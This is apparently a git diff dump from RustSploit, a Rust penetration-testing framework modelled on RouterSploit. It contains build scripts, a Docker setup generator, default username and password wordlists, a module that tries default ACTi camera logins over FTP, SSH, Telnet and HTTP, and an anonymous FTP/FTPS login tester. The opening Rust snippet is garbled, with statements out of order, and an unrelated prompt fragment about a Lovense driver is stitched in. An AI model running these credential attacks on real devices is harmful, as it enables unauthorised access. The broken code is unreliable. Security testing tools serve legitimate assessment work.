} else if path.extension().map_or(false, |e| e == "rs") {
// Process Rust files
let file_stem = path.file_stem()
.and_then(|s| s.to_str())
.ok_or_else(|| format!("Invalid file name: {}", path.display()))?;
if sig_re.is_match(&source) {
mappings.push((key.clone(), mod_path));
println!("✅ Registered module: {}/{}", prefix, file_name);
// Skip mod.rs files
if file_stem == "mod" {
continue;
}
// Build module path
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Full key includes the category prefix (will be added in generate_dispatch)
let key = mod_path.clone();
// Read and check for the run function signature
let mut source = String::new();
File::open(&path)?.read_to_string(&mut source)?;
if sig_re.is_match(&source) {
mappings.insert((key.clone(), mod_path.clone()));
let display_path = if prefix.is_empty() {
file_stem.to_string()
} else {
println!("⚠️ Skipping '{}': no matching 'pub async fn run(...)'", path.display());
format!("{}/{}", prefix, file_stem)
};
println!(" ✅ Registered module: {}", display_path);
} else {
// Only warn in verbose mode to reduce noise
if env::var("RUSTSPLOIT_VERBOSE_BUILD").is_ok() {
println!(" ⚠️ Skipping '{}': no matching 'pub async fn run(target: &str)'", path.display());
}
}
}
}
Ok(())
}
+2367
View File
File diff suppressed because it is too large Load Diff
-4
View File
@@ -61,10 +61,6 @@ Here is the original module that needs to be refactored:
gemini
You are a senior Rust developer specializing in cross-platform, asynchronous hardware drivers. Your assignment is to develop a complete, production-grade Lovense device driver for Linux, written in Rust, using only information from official Lovense documentation and protocol references.
Strict Requirements:
+20
View File
@@ -0,0 +1,20 @@
admin
password
123456
1234
root
toor
guest
default
admin123
adminadmin
pass
changeme
password1
cisco
ubnt
support
12345
qwerty
letmein
test
+20
View File
@@ -0,0 +1,20 @@
admin
root
user
administrator
guest
support
operator
supervisor
admin1
root1
manager
service
master
tech
sysadmin
default
cisco
ubnt
pi
test
+327
View File
@@ -0,0 +1,327 @@
#!/usr/bin/env python3
"""
Interactive generator for RustSploit Docker-Compose stack.
Produces:
docker-compose.rustsploit.yml (with embedded Dockerfile)
.env.rustsploit-docker
and prints the command to bring the stack up.
This variant includes runtime fixes to avoid permission-denied on /app/data
and ensures the container starts as root briefly to fix ownership, then
executes the rustsploit binary as the less-privileged `rustsploit` user.
"""
import secrets
import os
import stat
import socket
import ipaddress
import subprocess
import pwd
from pathlib import Path
# Fix: Use parent.parent since script is in scripts/ directory
repo = Path(__file__).resolve().parent.parent
if not (repo / "Cargo.toml").exists():
print("[-] Error: Run this script from the RustSploit repository root.")
print(f" Expected Cargo.toml at: {repo / 'Cargo.toml'}")
exit(1)
# ---------- Helper functions ----------
def ask(prompt, default=None, validator=None):
"""Interactive prompt with validation."""
suffix = f" [{default}]" if default is not None else ""
while True:
val = input(f"{prompt}{suffix}: ").strip()
if not val and default is not None:
val = default
if not val:
print("Value cannot be empty.")
continue
if validator:
try:
validator(val)
except ValueError as e:
print(f"Invalid input: {e}")
continue
return val
def ask_yes_no(prompt, default=True):
"""Yes/No prompt."""
hint = "Y/n" if default else "y/N"
while True:
val = input(f"{prompt} ({hint}): ").strip().lower()
if not val:
return default
if val in ("y", "yes"):
return True
if val in ("n", "no"):
return False
print("Please answer 'y' or 'n'.")
def validate_host(host):
"""Validate host/IP address."""
host = host.strip()
if not host:
raise ValueError("Host cannot be empty")
# Allow localhost
if host == "localhost":
return
# Try to parse as IP
try:
ipaddress.ip_address(host)
except ValueError:
# Not a valid IP, check if it's a valid hostname
if len(host) > 253:
raise ValueError("Hostname too long (max 253 chars)")
if any(c.isspace() for c in host):
raise ValueError("Hostname cannot contain whitespace")
def validate_port(port_str):
"""Validate port number."""
try:
port = int(port_str)
if not (1 <= port <= 65535):
raise ValueError("Port must be between 1 and 65535")
except ValueError as e:
if "invalid literal" in str(e):
raise ValueError("Port must be a number")
raise
def detect_private_ip():
"""Try to detect private IP address."""
try:
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
sock.connect(("192.0.2.1", 80))
return sock.getsockname()[0]
except OSError:
return None
# ---------- Interactive prompts ----------
print("\n[+] RustSploit Docker Setup\n")
# Host selection
print("Select bind address:")
print(" [1] 127.0.0.1 (localhost only)")
print(" [2] 0.0.0.0 (all interfaces)")
print(" [3] Private LAN IP (auto-detect)")
print(" [4] Custom IP/hostname")
choice = ask("Choice", "2")
if choice == "1":
host = "127.0.0.1"
elif choice == "2":
host = "0.0.0.0"
elif choice == "3":
detected = detect_private_ip()
if detected:
print(f"[+] Detected private IP: {detected}")
use_detected = ask_yes_no("Use detected IP?", True)
host = detected if use_detected else ask("Enter IP/hostname", validator=validate_host)
else:
print("[-] Could not auto-detect private IP")
host = ask("Enter IP/hostname", validator=validate_host)
else:
host = ask("Enter IP/hostname", validator=validate_host)
# Port
# Default changed to 9000 as this is a common API port and matches user's prior usage
port_str = ask("Host port to expose", "9000", validator=validate_port)
port = int(port_str)
# API Key
print("\n[+] API Key Configuration")
generate_key = ask_yes_no("Generate random API key?", True)
if generate_key:
api_key = secrets.token_urlsafe(32)
print(f"[+] Generated API key: {api_key}")
else:
api_key = ask("Enter API key (ASCII, max 128 chars)", validator=lambda k: None if (len(k) <= 128 and all(32 <= ord(c) <= 126 for c in k)) else ValueError("API key must be printable ASCII, max 128 chars"))
# Hardening
print("\n[+] Security Hardening")
harden = ask_yes_no("Enable API hardening (auto-rotate key on suspicious activity)?", False)
ip_limit = 10
if harden:
ip_limit_str = ask("Max unique IPs before rotation", "10", validator=lambda v: validate_port(v) if v else None)
ip_limit = int(ip_limit_str)
# ---------- File generation ----------
env_file = ".env.rustsploit-docker"
compose_file = "docker-compose.rustsploit.yml"
env_path = repo / env_file
compose_path = repo / compose_file
# Check for existing .env file
if env_path.exists():
print(f"\n[!] Warning: {env_path.relative_to(repo)} already exists.")
if not ask_yes_no("Overwrite .env file?", False):
print("[-] Aborted.")
exit(0)
# Check for existing docker-compose file
if compose_path.exists():
print(f"\n[!] Warning: {compose_path.relative_to(repo)} already exists.")
if not ask_yes_no("Overwrite docker-compose file?", False):
print("[-] Aborted.")
exit(0)
# ---- .env ----
container_interface = f"0.0.0.0:{port}"
env_content = f"""RUSTSPLOIT_INTERFACE={container_interface}
RUSTSPLOIT_API_KEY={api_key}
RUSTSPLOIT_HARDEN={"true" if harden else "false"}
RUSTSPLOIT_IP_LIMIT={ip_limit}
"""
env_path.write_text(env_content)
# Set permissions: owner read/write only (0600) to keep API key private while still readable by docker-compose
os.chmod(env_path, stat.S_IRUSR | stat.S_IWUSR)
print(f"\n[+] Generated: {env_path}")
# Fix ownership if file was created with sudo (owned by root)
if env_path.stat().st_uid == 0:
print("[!] File was created as root. Fixing ownership...")
try:
# Get the actual user (SUDO_USER if running via sudo, otherwise current user)
user = os.environ.get('SUDO_USER') or os.environ.get('USER')
if not user:
user = pwd.getpwuid(os.getuid()).pw_name
# If we're running as root (via sudo), we can chown directly
if os.geteuid() == 0:
user_info = pwd.getpwnam(user)
os.chown(env_path, user_info.pw_uid, user_info.pw_gid)
print(f"[+] Ownership fixed: {user}:{user}")
else:
# Not root, need to use sudo
subprocess.run(['sudo', 'chown', f'{user}:{user}', str(env_path)], check=True)
print(f"[+] Ownership fixed: {user}:{user}")
except (subprocess.CalledProcessError, FileNotFoundError, KeyError) as e:
print(f"[!] Warning: Could not automatically fix ownership: {e}")
print(f" Please run manually: sudo chown $USER:$USER {env_path}")
# ---- docker-compose.yml with embedded Dockerfile ----
# Note: The serve stage runs the entrypoint as root so it can fix ownership of
# /app/data at container startup, then it drops privileges and executes the
# rustsploit binary as the less-privileged `rustsploit` user via runuser.
dockerfile_content = """FROM rust:1.83-slim AS builder
WORKDIR /workspace
ENV CARGO_TERM_COLOR=always
RUN apt-get update \\
&& apt-get install -y --no-install-recommends \\
build-essential \\
pkg-config \\
libssl-dev \\
libclang-dev \\
libpcap-dev \\
libsqlite3-dev \\
&& rm -rf /var/lib/apt/lists/*
COPY Cargo.toml ./
COPY Cargo.lock* ./
COPY . .
RUN cargo build --release --bin rustsploit
FROM debian:bookworm-slim AS serve
RUN apt-get update \\
&& apt-get install -y --no-install-recommends ca-certificates util-linux \\
&& rm -rf /var/lib/apt/lists/*
# create non-root user
RUN useradd --system --home /app --shell /usr/sbin/nologin rustsploit
WORKDIR /app
# create data dir (image-level), but runtime entrypoint will chown the volume target
RUN mkdir -p /app/data && chown rustsploit:rustsploit /app/data
COPY --from=builder /workspace/target/release/rustsploit /usr/local/bin/rustsploit
# entrypoint runs as root (default) so it can fix ownership of mounted volumes
RUN echo '#!/bin/sh' > /entrypoint.sh && \\
echo 'set -e' >> /entrypoint.sh && \\
echo 'ARGS="--api --api-key \"${RUSTSPLOIT_API_KEY}\" --interface \"${RUSTSPLOIT_INTERFACE}\""' >> /entrypoint.sh && \\
echo 'if [ "\"$RUSTSPLOIT_HARDEN\"" = "\"true\"" ]; then' >> /entrypoint.sh && \\
echo ' ARGS="$ARGS --harden"' >> /entrypoint.sh && \\
echo ' if [ -n "\"$RUSTSPLOIT_IP_LIMIT\"" ]; then' >> /entrypoint.sh && \\
echo ' ARGS="$ARGS --ip-limit $RUSTSPLOIT_IP_LIMIT"' >> /entrypoint.sh && \\
echo ' fi' >> /entrypoint.sh && \\
echo 'fi' >> /entrypoint.sh && \\
# ensure data dir exists and is owned by rustsploit so that non-root process can write
echo 'mkdir -p /app/data' >> /entrypoint.sh && \\
echo 'mkdir -p /app/data/logs || true' >> /entrypoint.sh && \\
echo 'chown -R rustsploit:rustsploit /app/data || true' >> /entrypoint.sh && \\
echo 'LOG_FILE=/app/data/logs/rustsploit_api.log' >> /entrypoint.sh && \\
echo 'touch "$LOG_FILE" || true' >> /entrypoint.sh && \\
echo 'chown rustsploit:rustsploit "$LOG_FILE" || true' >> /entrypoint.sh && \\
echo 'ln -sf "$LOG_FILE" /app/rustsploit_api.log || true' >> /entrypoint.sh && \\
# finally, execute rustsploit as the rustsploit user using runuser
echo 'exec runuser -u rustsploit -- /usr/local/bin/rustsploit $ARGS' >> /entrypoint.sh && \\
chmod +x /entrypoint.sh && \\
chown root:root /entrypoint.sh && \\
chown root:root /usr/local/bin/rustsploit
# keep default user root so entrypoint can perform ownership fixes; runtime drops to rustsploit
EXPOSE 8080
ENTRYPOINT ["/entrypoint.sh"]
"""
# Create Dockerfile in repo root (hardcoded in script, not in docker/ folder)
dockerfile_path = repo / "Dockerfile.rustsploit"
dockerfile_path.write_text(dockerfile_content)
print(f"[+] Generated: {dockerfile_path}")
# Generate docker-compose.yml
compose_content = f"""# Generated by {Path(__file__).name}
services:
rustsploit-api:
container_name: rustsploit-api
build:
context: .
dockerfile: Dockerfile.rustsploit
target: serve
restart: unless-stopped
env_file:
- {env_file}
ports:
- "{host}:{port}:{port}"
security_opt:
- no-new-privileges:true
tmpfs:
- /tmp
volumes:
- rustsploit-data:/app/data
volumes:
rustsploit-data:
name: rustsploit-data
"""
compose_path.write_text(compose_content)
print(f"[+] Generated: {compose_path}")
print("\n[+] Setup complete!")
print("\n[+] Generated files:")
print(f" - {env_path.relative_to(repo)}")
print(f" - {compose_path.relative_to(repo)}")
print(f" - {dockerfile_path.relative_to(repo)}")
print(f"\n[!] Note: Run docker compose commands from the repository root:")
print(f" cd {repo}")
print("\n[+] To start the stack, run:")
print(f" cd {repo} && docker compose -f {compose_file} up -d --build")
print(f" # OR from any directory:")
print(f" docker compose -f {compose_path} up -d --build")
print("\n[+] To view logs:")
print(f" cd {repo} && docker compose -f {compose_file} logs -f")
print(f" # OR from any directory:")
print(f" docker compose -f {compose_path} logs -f")
print("\n[+] To stop the stack:")
print(f" cd {repo} && docker compose -f {compose_file} down")
print(f" # OR from any directory:")
print(f" docker compose -f {compose_path} down")
-22
View File
@@ -1,22 +0,0 @@
use clap::{ArgGroup, Parser};
/// Simple RouterSploit-like CLI in Rust
#[derive(Parser, Debug)]
#[command(author, version, about, long_about = None)]
#[clap(group(
ArgGroup::new("mode")
.required(false)
.args(&["command"])
))]
pub struct Cli {
/// Subcommand to run (e.g. "exploit", "scanner", "creds")
pub command: Option<String>,
/// Target IP or hostname
#[arg(short, long)]
pub target: Option<String>,
/// Module name to use
#[arg(short, long)]
pub module: Option<String>,
}
-7
View File
@@ -1,7 +0,0 @@
use anyhow::Result;
include!(concat!(env!("OUT_DIR"), "/creds_dispatch.rs"));
pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> {
dispatch(module_name, target).await
}
-81
View File
@@ -1,81 +0,0 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::Write;
use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
// Keep dispatch file naming consistent with build.rs
let dest_path = Path::new(&out_dir).join("creds_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let creds_root = Path::new("src/modules/creds");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(creds_root, "".to_string(), &mut mappings).unwrap();
// Generate dispatch function
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::creds::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Cred module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively scan `src/modules/creds/` and find all `.rs` files (excluding `mod.rs`)
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found cred module: {}", mod_path);
}
}
}
}
Ok(())
}
-7
View File
@@ -1,7 +0,0 @@
use anyhow::Result;
include!(concat!(env!("OUT_DIR"), "/exploit_dispatch.rs"));
pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> {
dispatch(module_name, target).await
}
-81
View File
@@ -1,81 +0,0 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::Write;
use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("exploit_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let exploits_root = Path::new("src/modules/exploits");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(exploits_root, "".to_string(), &mut mappings).unwrap();
// Start generating dispatch code
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::exploits::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Exploit module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively walk through directories, find all .rs files excluding mod.rs
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Add to mappings if not already added
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found exploit: {}", mod_path);
}
}
}
}
Ok(())
}
-101
View File
@@ -1,101 +0,0 @@
pub mod exploit;
pub mod scanner;
pub mod creds;
use anyhow::Result;
use crate::cli::Cli;
use walkdir::WalkDir;
use crate::utils::normalize_target;
/// CLI dispatcher: e.g. --command scanner --target "::1" --module scanners/port_scanner
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
let raw = cli_args.target.clone().unwrap_or_default();
let target = normalize_target(&raw)?; // IPv6 wrap only, no port
let module = cli_args.module.clone().unwrap_or_default();
match command {
"exploit" => {
let trimmed = module.trim_start_matches("exploits/");
exploit::run_exploit(trimmed, &target).await?;
},
"scanner" => {
let trimmed = module.trim_start_matches("scanners/");
scanner::run_scan(trimmed, &target).await?;
},
"creds" => {
let trimmed = module.trim_start_matches("creds/");
creds::run_cred_check(trimmed, &target).await?;
},
_ => {
eprintln!("Unknown command '{}'", command);
}
}
Ok(())
}
/// Interactive shell: handles `run` with raw target string
pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
let available = discover_modules();
let full_match = available.iter().find(|m| m == &module_path);
let short_match = available.iter().find(|m| {
m.rsplit_once('/')
.map(|(_, short)| short == module_path)
.unwrap_or(false)
});
let resolved = if let Some(m) = full_match {
m
} else if let Some(m) = short_match {
m
} else {
eprintln!("❌ Unknown module '{}'. Available modules:", module_path);
for m in available {
println!(" {}", m);
}
return Ok(());
};
let target = normalize_target(raw_target)?;
let mut parts = resolved.splitn(2, '/');
let category = parts.next().unwrap_or("");
let module_name = parts.next().unwrap_or("");
match category {
"exploits" => exploit::run_exploit(module_name, &target).await?,
"scanners" => scanner::run_scan(module_name, &target).await?,
"creds" => creds::run_cred_check(module_name, &target).await?,
_ => eprintln!("❌ Category '{}' is not supported.", category),
}
Ok(())
}
/// Finds all .rs module paths inside `src/modules/**`, excluding mod.rs
pub fn discover_modules() -> Vec<String> {
let mut modules = Vec::new();
let categories = ["exploits", "scanners", "creds"];
for category in &categories {
let base = format!("src/modules/{}", category);
for entry in WalkDir::new(&base).max_depth(6).into_iter().filter_map(|e| e.ok()) {
let p = entry.path();
if p.is_file()
&& p.extension().map_or(false, |e| e == "rs")
&& p.file_name().map_or(true, |n| n != "mod.rs")
{
if let Ok(rel) = p.strip_prefix("src/modules") {
let module_path = rel
.with_extension("")
.to_string_lossy()
.replace("\\", "/");
modules.push(module_path);
}
}
}
}
modules
}
-7
View File
@@ -1,7 +0,0 @@
use anyhow::Result;
include!(concat!(env!("OUT_DIR"), "/scanner_dispatch.rs"));
pub async fn run_scan(module_name: &str, target: &str) -> Result<()> {
dispatch(module_name, target).await
}
-81
View File
@@ -1,81 +0,0 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::{Write};
use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("scanner_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let scanners_root = Path::new("src/modules/scanners");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(scanners_root, "".to_string(), &mut mappings).unwrap();
// Start generating dispatch code
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::scanners::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Scanner module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively walk through directories, find all .rs files excluding mod.rs
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Add to mappings if not already added
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found scanner: {}", mod_path);
}
}
}
}
Ok(())
}
-25
View File
@@ -1,25 +0,0 @@
use anyhow::Result;
use clap::Parser;
mod cli;
mod shell;
mod commands;
mod modules;
mod utils;
#[tokio::main]
async fn main() -> Result<()> {
// Parse command-line arguments
let cli_args = cli::Cli::parse();
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
if let Some(cmd) = &cli_args.command {
commands::handle_command(cmd, &cli_args).await?;
}
// Otherwise, launch the interactive shell
else {
shell::interactive_shell().await?;
}
Ok(())
}
@@ -1,219 +0,0 @@
use anyhow::{Context, Result};
use async_ftp::FtpStream;
use reqwest::Client;
use ssh2::Session;
use telnet::{Telnet, Event};
use std::{net::TcpStream, time::Duration};
use tokio::{join, task};
#[allow(dead_code)]
/// Supported Acti services
pub enum ServiceType {
Ftp,
Ssh,
Telnet,
Http,
}
/// Common config
#[derive(Clone)]
pub struct Config {
pub target: String,
pub port: u16,
pub credentials: Vec<(&'static str, &'static str)>,
pub stop_on_success: bool,
pub verbosity: bool,
}
/// Helper to normalize IPv4, IPv6 (with any amount of brackets)
fn normalize_target(target: &str, port: u16) -> String {
let cleaned = target.trim_matches(|c| c == '[' || c == ']');
if cleaned.contains(':') && !cleaned.contains('.') {
format!("[{}]:{}", cleaned, port) // IPv6
} else {
format!("{}:{}", cleaned, port) // IPv4 or hostname
}
}
/// FTP check (async)
pub async fn check_ftp(config: &Config) -> Result<()> {
println!("[*] Checking FTP credentials on {}:{}", config.target, config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying FTP: {}:{}", username, password);
}
let address = normalize_target(&config.target, config.port);
match FtpStream::connect(address).await {
Ok(mut ftp) => {
if ftp.login(username, password).await.is_ok() {
println!("[+] FTP credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
}
let _ = ftp.quit().await;
}
Err(_) => continue,
}
}
println!("[-] No valid FTP credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// SSH check (blocking, so we use spawn_blocking)
pub fn check_ssh_blocking(config: &Config) -> Result<()> {
println!("[*] Checking SSH credentials on {}:{}", config.target, config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying SSH: {}:{}", username, password);
}
let address = normalize_target(&config.target, config.port);
if let Ok(stream) = TcpStream::connect(address) {
let mut session = Session::new().context("Failed to create SSH session")?;
session.set_tcp_stream(stream);
session.handshake().context("SSH handshake failed")?;
if session.userauth_password(username, password).is_ok() && session.authenticated() {
println!("[+] SSH credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
}
}
}
println!("[-] No valid SSH credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// Telnet check (blocking)
pub fn check_telnet_blocking(config: &Config) -> Result<()> {
println!("[*] Checking Telnet credentials on {}:{}", config.target, config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying Telnet: {}:{}", username, password);
}
let address = normalize_target(&config.target, config.port);
let parts: Vec<&str> = address.rsplitn(2, ':').collect();
if parts.len() != 2 {
continue;
}
let host = parts[1];
let port: u16 = parts[0].parse().unwrap_or(23);
if let Ok(mut telnet) = Telnet::connect((host, port), 500) {
let _ = telnet.write(format!("{}\r\n", username).as_bytes());
let _ = telnet.write(format!("{}\r\n", password).as_bytes());
// Give device time to respond
std::thread::sleep(Duration::from_millis(500));
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
let response = String::from_utf8_lossy(&buffer);
if !response.contains("incorrect") && !response.contains("failed") {
println!("[+] Telnet credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
}
}
}
}
println!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// HTTP Web Login check (async)
pub async fn check_http_form(config: &Config) -> Result<()> {
println!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying HTTP: {}:{}", username, password);
}
let data = [
("LOGIN_ACCOUNT", *username),
("LOGIN_PASSWORD", *password),
("LANGUAGE", "0"),
("btnSubmit", "Login"),
];
let res = client
.post(&url)
.form(&data)
.send()
.await
.context("[!] Failed to send HTTP form request")?;
let body = res.text().await.unwrap_or_default();
if !body.contains(">Password<") {
println!("[+] HTTP credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
}
}
println!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// Entrypoint for module - parallel checks
pub async fn run(target: &str) -> Result<()> {
let creds = vec![
("admin", "12345"),
("admin", "123456"),
("Admin", "12345"),
("Admin", "123456"),
];
let base_config = Config {
target: target.to_string(),
port: 0,
credentials: creds,
stop_on_success: true,
verbosity: true,
};
let ftp_conf = Config { port: 21, ..base_config.clone() };
let ssh_conf = Config { port: 22, ..base_config.clone() };
let telnet_conf = Config { port: 23, ..base_config.clone() };
let http_conf = Config { port: 80, ..base_config.clone() };
let (ftp_res, ssh_res, telnet_res, http_res) = join!(
check_ftp(&ftp_conf),
async {
task::spawn_blocking(move || check_ssh_blocking(&ssh_conf)).await?
},
async {
task::spawn_blocking(move || check_telnet_blocking(&telnet_conf)).await?
},
check_http_form(&http_conf),
);
ftp_res?;
ssh_res?;
telnet_res?;
http_res?;
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod acti_camera_default;
-1
View File
@@ -1 +0,0 @@
pub mod acti;
@@ -1,41 +0,0 @@
use anyhow::{Result, anyhow};
use std::process::Command;
/// Module entry point for raising ulimit
pub async fn run(_target: &str) -> Result<()> {
raise_ulimit().await
}
/// Raise ulimit to 65535
async fn raise_ulimit() -> Result<()> {
println!("[*] Attempting to raise open file limit (ulimit -n 65535)");
// Try to set limit using bash
let output = Command::new("bash")
.arg("-c")
.arg("ulimit -n 65535")
.output()
.map_err(|e| anyhow!("Failed to run bash: {}", e))?;
if !output.status.success() {
println!("[-] Warning: Could not change ulimit. (maybe run as root?)");
} else {
println!("[+] Successfully ran ulimit -n 65535.");
}
// Check current limit
let check_output = Command::new("bash")
.arg("-c")
.arg("ulimit -n")
.output()
.map_err(|e| anyhow!("Failed to check ulimit: {}", e))?;
if check_output.status.success() {
let limit = String::from_utf8_lossy(&check_output.stdout);
println!("[+] Current open file limit: {}", limit.trim());
} else {
println!("[-] Warning: Could not verify new ulimit.");
}
Ok(())
}
@@ -1,88 +0,0 @@
use anyhow::{anyhow, Result};
use suppaftp::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
use suppaftp::async_native_tls::TlsConnector;
use tokio::time::{timeout, Duration};
/// Format IPv4 or IPv6 addresses with port
fn format_addr(target: &str, port: u16) -> String {
if target.starts_with('[') && target.contains("]:") {
target.to_string()
} else if target.matches(':').count() == 1 && !target.contains('[') {
target.to_string()
} else {
let clean = if target.starts_with('[') && target.ends_with(']') {
&target[1..target.len() - 1]
} else {
target
};
if clean.contains(':') {
format!("[{}]:{}", clean, port)
} else {
format!("{}:{}", clean, port)
}
}
}
/// Anonymous FTP/FTPS login test with IPv6 support
pub async fn run(target: &str) -> Result<()> {
let addr = format_addr(target, 21);
let domain = target
.trim_start_matches('[')
.split(&[']', ':'][..])
.next()
.unwrap_or(target);
println!("[*] Connecting to FTP service on {}...", addr);
// 1️⃣ Try plain FTP first
match timeout(Duration::from_secs(5), AsyncFtpStream::connect(&addr)).await {
Ok(Ok(mut ftp)) => {
let result = ftp.login("anonymous", "anonymous").await;
if let Ok(_) = result {
println!("[+] Anonymous login successful (FTP)");
let _ = ftp.quit().await;
return Ok(());
} else if let Err(e) = result {
if e.to_string().contains("530") {
println!("[-] Anonymous login rejected (FTP)");
return Ok(());
} else if e.to_string().contains("550 SSL") {
println!("[*] FTP server requires TLS — upgrading to FTPS...");
} else {
return Err(anyhow!("FTP error: {}", e));
}
}
}
Ok(Err(e)) => println!("[!] FTP connection error: {}", e),
Err(_) => println!("[-] FTP connection timed out"),
}
// 2️⃣ Fallback to FTPS
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
.await
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
let connector = AsyncNativeTlsConnector::from(
TlsConnector::new()
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true),
);
ftps = ftps
.into_secure(connector, domain)
.await
